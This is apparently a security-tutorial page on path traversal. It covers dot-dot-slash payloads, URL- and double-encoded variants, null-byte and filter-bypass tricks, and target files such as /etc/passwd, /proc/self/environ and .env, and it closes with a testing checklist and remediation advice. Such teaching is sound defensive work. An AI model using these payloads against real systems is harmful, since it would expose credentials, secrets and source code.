Skip to content

Path Traversal

Path traversal, also called directory traversal, is a vulnerability that allows an attacker to access files outside the intended directory.

It happens when an application uses user-controlled input to build a file path without proper validation.

Warning

Test path traversal only in authorized environments.

Overview

Path traversal is commonly found in features that read files from the server.

Examples:

  • Image loading
  • File downloads
  • Report viewing
  • Template loading
  • Language selection
  • Document preview
  • Static file retrieval

A vulnerable request may look like this:

GET /loadImage?filename=218.png HTTP/1.1
Host: vulnerable.example

The server may build a file path like this:

/var/www/images/218.png

If the application trusts the filename parameter, an attacker may be able to escape the intended directory.

Dot-Dot-Slash

The sequence ../ means “go up one directory.”

Example payload:

../../../etc/passwd

If the application appends user input to a base directory:

Base directory: /var/www/images/
User input:     ../../../etc/passwd
Final path:     /var/www/images/../../../etc/passwd
Resolved path:  /etc/passwd

The attacker has escaped the image directory and reached a system file.

Linux Targets

Linux and Unix systems use / as the directory separator.

Common proof-of-concept files:

File Purpose
/etc/passwd User account information
/etc/hosts Local host mappings
/proc/self/environ Process environment variables
/var/log/apache2/access.log Apache access logs
/var/www/html/index.php Possible web source file

Example:

GET /loadImage?filename=../../../etc/passwd HTTP/1.1
Host: vulnerable.example

Windows Targets

Windows supports both backslash and forward slash in many contexts.

Common proof-of-concept files:

File Purpose
C:\Windows\win.ini Classic Windows proof of concept
C:\Windows\System32\drivers\etc\hosts Local host mappings
C:\boot.ini Older Windows boot configuration

Example payloads:

..\..\..\windows\win.ini
../../../windows/win.ini

Common Payloads

../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
....//....//....//etc/passwd

Windows examples:

..\..\..\windows\win.ini
..%5c..%5c..%5cwindows%5cwin.ini
../../../windows/win.ini

Encoding Bypasses

Applications may block obvious traversal strings like ../.

Encoding can sometimes bypass weak filters.

Payload Meaning
%2e%2e%2f URL-encoded ../
%2e%2e/ Partially encoded ../
..%2f Encoded slash
..%5c Encoded backslash
%252e%252e%252f Double-encoded ../

Example:

GET /loadImage?filename=..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: vulnerable.example

Forced Extension Bypass

Some applications append a required extension.

Example backend logic:

filename + ".png"

A payload like this:

../../../etc/passwd

becomes:

../../../etc/passwd.png

In older or misconfigured systems, null byte injection may terminate the string early:

../../../etc/passwd%00

Result:

../../../etc/passwd%00.png

The .png part may be ignored in vulnerable legacy environments.

Note

Null byte injection is mostly relevant to older systems, but it is useful to understand historically and in labs.

Filter Bypass Patterns

Weak filters often remove traversal sequences only once.

Example filter:

Remove "../" from input

Payload:

....//....//....//etc/passwd

After one filter pass, this may collapse into:

../../../etc/passwd

Other bypass ideas:

....\/....\/etc/passwd
..../..../etc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd

Impact

Path traversal can expose sensitive files.

Possible impact:

  • Source code disclosure
  • Configuration file disclosure
  • Credential leakage
  • API key leakage
  • Log file access
  • User enumeration
  • Application secret exposure
  • Further exploitation through file write or log poisoning in some cases

Sensitive application files may include:

.env
config.php
settings.py
web.config
application.yml
database.yml

Testing Checklist

Check parameters related to files or paths:

filename=
file=
path=
page=
template=
lang=
download=
document=
image=

Testing steps:

  1. Identify a parameter that loads a file.
  2. Try a normal valid file.
  3. Add ../ sequences.
  4. Try known Linux or Windows files.
  5. Try encoded traversal.
  6. Try absolute paths.
  7. Check whether errors reveal the final path.
  8. Test whether the application appends extensions.
  9. Confirm impact without damaging the system.

Remediation

Safe file handling should avoid direct user-controlled paths.

Recommended defenses:

  • Avoid passing file paths directly.
  • Use indirect file IDs mapped server-side.
  • Store allowed files in a database or allowlist.
  • Normalize and canonicalize paths before access.
  • Verify the resolved path stays inside the intended base directory.
  • Reject path separators and traversal sequences.
  • Apply strict allowlists for file names and extensions.
  • Run the application with least-privilege filesystem access.

Example secure logic:

User requests file ID 123
Server looks up file ID 123 in database
Server resolves safe known path
Server verifies user is allowed to access it
Server returns the file

Quick Reference

Target Payload
Linux users ../../../../etc/passwd
Linux hosts file ../../../../etc/hosts
Windows proof ..\..\..\windows\win.ini
Encoded traversal ..%2f..%2f..%2fetc%2fpasswd
Extension bypass ../../../etc/passwd%00
Filter bypass ....//....//etc/passwd

Notes to Remember

  • Path traversal abuses unsafe file path construction.
  • ../ moves up one directory.
  • Linux uses /; Windows often accepts \ and /.
  • Encoding can bypass weak filters.
  • Never trust user-supplied file paths.
  • Canonicalize paths before validating them.
  • File IDs are safer than raw file names.